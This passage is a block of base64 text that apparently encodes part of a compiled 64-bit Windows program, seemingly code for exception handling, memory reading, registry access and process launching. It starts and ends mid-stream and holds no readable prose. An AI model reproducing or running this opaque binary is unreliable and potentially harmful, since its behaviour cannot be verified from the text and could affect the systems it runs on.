EAAMYFBoIEAAHpHgUAALsBAAAAQDi33gcAAHQQTI0FzFcDAIvTM8noU8IAAE2F9g+E9wQAAEmLVygPt/tmibVgHwAASIXSdHxIiw3oaQQASI1EJFBMjUQkQEG5CAAAAEiJRCQgSIl0JEBIiXQkUP8Vu1ECAIXAdENIg3wkUAh1O0iLVCRASIXSdDFIiw2maQQASI1EJFBMjYVgHwAAQbkACAAASIlEJCD/FYFRAgCFwA+EoAAAAEEPt38wZjm1YB8AAHVqSIsNbGkEAEyNTCRISI1UJGBBuAAgAACJdCRI/xW6VAIAhcB0OItMJEiNQf89/x8AAHcqSMHpA0iLxkiFyXQeTYtHGA8fhAAAAAAASItUxGBJO9B0SUj/wEg7wXLuZjm1YB8AAA+EKP7//7pcAAAASI2NYB8AAGaF/w+EowAAAOifAwEASIvYSIXAdEBIg8MC60FmibVgHwAA6WL///9Iiw3OaAQATI2FYB8AAEG5AAQAAP8VM1QCAIXAdASL++udZom1YB8AAOnG/f//SI2dYB8AAEiNFWlWAwBIi8voxeYAAIXAdQxBxwYCAAAA6aD9//9IjRVqVgMASIvL6KbmAACFwHUMQccGBAAAAOmB/f//SI0VW1YDAEiLy+iH5gAA62borAMBAEiL2EiFwHQFSP/D6wdIjZ1gHwAASI0VSVYDAEiLy+jdAQEAhcB1DEHHBgIAAADpOP3//0iNFTpWAwBIi8vovgEBAIXAdQxBxwYEAAAA6Rn9//9IjRUjVgMASIvL6J8BAQCFwA+FAv3//0HHBgEQAADp9vz//0A4t94HAAAPhL8CAABMjQUDVgMAugEAAAAzyej/vwAA6acCAABBD7dfGo1DAUhjyGZBOXcYD4QzAQAASAPJ6DjpAABJi1cQSIsNiWcEAEyL8EiNRCRATI0MG02LxkiJRCQgSIl0JED/FWJPAgCFwA+E5gAAAEiLRCRASIXAD4TYAAAASNHoTI0FOkgDAE2LzmZBiTRGQDi3agEAALoBAAAAD5TAD7bI6HO/AABAOLdqAQAAD4SiAAAASIuHMAEAAEiLGEg72A+EjwAAAA8fAEiLUxBJi87o1CUAAITAdR9IixtIO58wAQAAdeRJi87ojOYAAEG8AgABAOnOAQAASIuHQAEAAEiLGEg72HQeZpBIi1MQSYvO6JQlAACEwHU8SIsbSDufQAEAAHXkudAAAADowuMAAEiFwHQOSIvXSIvI6IqMAABIi/BJi9ZIi87ovJwAAEiLzug0jgAASYvO6BzmAABBvAIAAQDpXgEAAOgI6AAASYtXEEiLDVlmBABMi+BIjUQkQEyLy02LxEiJRCQgSIl0JED/FTNOAgCFwA+E7wAAAEiLTCRASIXJD4ThAAAAQog0IUmLzOgBIQAATIvwSIXAD4TJAAAAQDi3agEAAEyNBe9GAwBMi8gPlMG6AQAAAA+2yeg0vgAAQDi3agEAAA+EkwAAAEiLhzABAABIixhIO9gPhIAAAAAPH0AASItTEEmLzuiUJAAAhMB1DkiLG0g7nzABAAB15OteSIuHQAEAAEiLGEg72HQfDx8ASItTEEmLzuhkJAAAhMB1PEiLG0g7n0ABAAB15LnQAAAA6JLiAABIhcB0DkiL10iLyOhaiwAASIvwSYvWSIvO6IybAABIi87oBI0AAEmLzujs5AAASYvM6OTkAABBvAIAAQDrKUGLRxT/yIP4AXcHM8no+kQAAEGLTxBMjQVDNgMASI0VaFMDAOhDJgAAQYvESIuNYC8AAEgzzOgx1wAASIucJMgwAABIgcRwMAAAQV9BXkFdQVxfXl3DZpC3aQAA1m0AAPttAAAvbgAAWG4AAM9uAAAhcQAARnEAAMRzAABAVVNWQVRBV0iNrCSQ/P//SIHscAQAAEiLBepQBABIM8RIiYVQAwAATIsliWQEAE2L+UmL2EiL8k2FwHUKuFcAB4DpwgMAAE2FyXTxSIXSdOyDOgF150iJvCRoBAAAM/9MibQkYAQAAGZBiThmQYk5i0IQPQUAAMB3XnRQPQEAAIB0PT0CAACAdCo9AwAAgHQXPQQAAIAPhW0BAABMjQXdUgMA6UIDAABMjQURQgMA6TYDAABMjQWVUgMA6SoDAABMjQVxUgMA6R4DAABMjQXNUgMA6RIDAAA9UkND4A+HCQEAAA+E9wAAAAX6//8/PfcAAAAPhxABAABIjRXAiv//D7aEArh4AACLjIJweAAASAPK/+FMjQWtUgMA6coCAABMjQXRUgMA6b4CAABMjQX1UgMA6bICAABMjQUZUwMA6aYCAABMjQU9UwMA6ZoCAABMjQVpUwMA6Y4CAABMjQV9UwMA6YICAABMjQWZUwMA6XYCAABMjQW1UwMA6WoCAABMjQXRUwMA6V4CAABMjQXlUwMA6VICAABMjQUBVAMA6UYCAABMjQUVVAMA6ToCAABMjQU5VAMA6S4CAABMjQVlVAMA6SICAABMjQV5VAMA6RYCAABMjQWdVAMA6QoCAABMjQWxVAMA6f4BAAA9TU9D4A+E7AEAAD1OT0PgD4TYAQAAPWNzbeB0Cr8FQACA6eQBAABMjQWuVAMAugAEAABIi8vonfsAAIN+KARIiXwkSEiJfCQ4SIl8JEAPgpMBAABIi1ZASIXSD4SGAQAATIt2SE2F9g+EeQEAAEiNRCQwTI1EJEhIg8IMQbkEAAAASYvMSIl8JDBIiUQkIP8VL0oCAIXAD4RuAQAASIN8JDAED4ViAQAASItUJEhIjUQkMEyNRCQ4SIPCBEG5BAAAAEmLzEkD1kiJfCQwSIlEJCBIiVQkSP8V50kCAIXAD4QmAQAASIN8JDAED4UaAQAASItUJDhIjUQkMEyNRCRASIPCBEG5BAAAAEmLzEkD1kiJfCQwSIlEJCBIiVQkOP8Vn0kCAIXAD4TeAAAASIN8JDAED4XSAAAASItUJEBIjUQkMEyNRCRQSIPCEEG5/wMAAEmLzEkD1kiJfCQwSIlEJCBIiVQkQP8VV0kCAIXAD4SWAAAASItEJDBIhcAPhIgAAABIPQAEAAAPg6wAAABAiHwEUEyLx0CIvU8DAABmDx9EAABGD75UBFBmRokUQ0mB+AAEAABzCEn/wEWE0nXkSI0VJVMDAEiLy+i19QAASIXAdDdNi89Mi8NIi9ZJi8zonwEAAOskuAVAAIDrH0yNBddSAwDrB0yNBb5SAwC6AAQAAEiLy+jN+QAAi8dIi7wkaAQAAEyLtCRgBAAASIuNUAMAAEgzzOjY0gAASIHEcAQAAEFfQVxeW13D6GD4AADMDx8A2HUAABR2AADkdQAA8HUAAAh2AABUdQAAYHUAAGx1AAB4dQAAhHUAAJB1AACcdQAAqHUAALR1AADAdQAAzHUAAPx1AABJdgAAABEBERERERERERERERERERERERERERECEREREREREQMEEREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREFBgcICQoLDA0ODxERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERBAVVNWV0FWQVdIjawkuPP//0iB7EgNAABIiwV5SwQASDPESImFMAwAAE2L8U2L+EiL+kiL8U2FwHUKuFcAB4DprQIAAE2FyXTxSIXSdOyDOgF154taCIXbdOBMiaQkQA0AAEiNTCRoRTPkM9JBuMgEAABMiWQkYOiENAEAM9JEi8ONSgjHRZAfABAA/xW3RgIASIvYSIP4/3QXSI1UJGBIi8j/FYhGAgBIi8v/FXdHAgBIi1X4SIXSD4QkAgAAg38oAw+CGgIAAEw5ZzgPhBACAABMOWdAD4QGAgAASI1EJDBMjUQkUEiDwhhBuQgAAABIi85MiWQkUEiJRCQgTIlkJDhMiWQkQEyJZCRYTIlkJEi7BUAAgEyJZCQw/xUfRgIAhcAPhL4BAABIg3wkMAgPhbIBAABIi0dASDlEJFAPhaMBAABIi1X4SI1EJDBMjUQkOEG5CAAAAEiLzkiDwhBMiWQkMEiJRCQg/xXRRQIAhcAPhHABAABIg3wkMAgPhWQBAABIi1QkOEiNRCQwTI1EJEBBuQgAAABIi85Ig8I4TIlkJDBIiUQkIP8VkUUCAIXAD4QwAQAASIN8JDAID4UkAQAASItUJEBIjUQkMEyNRCRYQbkIAAAASIvOSIlEJCBMiWQkMP8VVUUCAIXAD4T0AAAASIN8JDAID4XoAAAASItUJDhIO1QkWA+F2AAAAEiNRCQwTI1EJEhIg8IwQbkIAAAASIvOTIlkJDBIiUQkIP8VCkUCAIXAD4SpAAAASIN8JDAID4WdAAAASI2NMgQAADPSQbj+BwAAZkSJpTAEAADomjIBAEiLVCRISI1EJDBMjYUwBAAAQbn+BwAASIvOSIlEJCD/FbVEAgCFwHRYSItEJDBIhcB0TkgDwEg9AAgAAHNsZkSJpAUwBAAATI2FMAQAALoABAAASYvOZkSJpS4MAADoi/UAAEyNBdBOAwC6AAQAAEmLz+h39QAAQYvc6wW7VwAHgEyLpCRADQAAi8NIi40wDAAASDPM6IDOAABIgcRIDQAAQV9BXl9eW13D6Af0AADMzMzMzMzMzMzMzE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